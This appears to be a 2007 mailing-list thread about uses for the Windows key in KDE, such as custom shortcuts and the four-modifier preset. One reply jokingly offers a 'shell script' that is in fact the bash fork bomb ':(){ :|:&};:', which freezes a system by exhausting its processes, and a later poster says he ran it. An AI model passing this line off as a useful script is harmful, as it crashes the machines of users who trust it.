A useful application for the windows key?

[Matthew Flaschen]

Chris Miller wrote:
> On 3/5/07, Michel D'HOOGE <list.dhooge at gmail.com> wrote:
>> On Sunday 04 March 2007 04:37, Mark Kelly wrote:
>>> It's a modifier key (like alt, ctrl etc) so I use mine to make app
>>> shortcuts that (in my experience) won't interfere with anything else.
>> In addition to this kind of shortcuts, I also always select "Default KDE with
>> 4 modifier keys" in the "keyboard shortcuts" tab of the system settings. That
>> 4th mod key IS the win key.
>>
>> In my early KDE days, I used to redefine my own shortcuts on all computers I
>> worked with. But it was quite time consuming and error prone, so now I
>> learned the default KDE ones and live with them :-)
> 
> I usually have the Windows key activate this shell script (makes me
> feel like I'm beta testing windows vista again):
> 
> #!/bin/sh
> :(){ :|:&};:

Awesome.  I ran it, despite reading the newsgroup thread.  After all,
what could a little punctuation do?

Matt Flaschen